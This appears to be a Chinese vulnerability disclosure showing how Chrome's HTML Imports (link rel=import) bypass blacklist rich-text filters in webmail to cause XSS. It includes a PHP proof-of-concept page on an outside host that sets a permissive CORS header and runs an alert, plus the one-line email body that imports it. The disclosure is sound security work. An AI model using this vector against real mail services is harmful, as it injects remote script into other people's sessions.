### 简要描述:
正文正文~
PS:需浏览器支持。
### 详细说明:
chrome进入36时代以后,多了一种引入外部HTML的方法:
```
<link rel=import href=http://xxx/xxx.html>
```
twitter上MK很早就通过这个方法bypass了当时的chrome audit:https://twitter.com/avlidienbrunn/status/486059626002395136,但实际上这个方法的危害不止于此,大部分基于黑名单的富文本过滤器是没有考虑这个方式的XSS的,通过这个就能简单构造一个XSS。
首先我先准备一个https的payload(因为很多邮箱默认是走SSL,不能加载http下的内容。我这里是一个未签名的演示页面,实际上是会被拦截的,实战中请使用签名的SSL证书):
https://auth.mhz.pw/game/sop/01.php
```
<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
alert(location.host);
</script>
```
需要输出"Access-Control-Allow-Origin: *"头,否则那边是没法跨域请求我的。
邮件正文填写如下html:
```
<link rel=import href=https://auth.mhz.pw/game/sop/01.php>
```
即可触发(可见域为email的域而非auth.mhz.pw):
[<img src="https://images.seebug.org/upload/201501/061653134310ac3eb87df63b0d705484a2d2bae2.jpg" alt="0011.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/061653134310ac3eb87df63b0d705484a2d2bae2.jpg)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201501/061653134310ac3eb87df63b0d705484a2d2bae2.jpg" alt="0011.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/061653134310ac3eb87df63b0d705484a2d2bae2.jpg)
暂无评论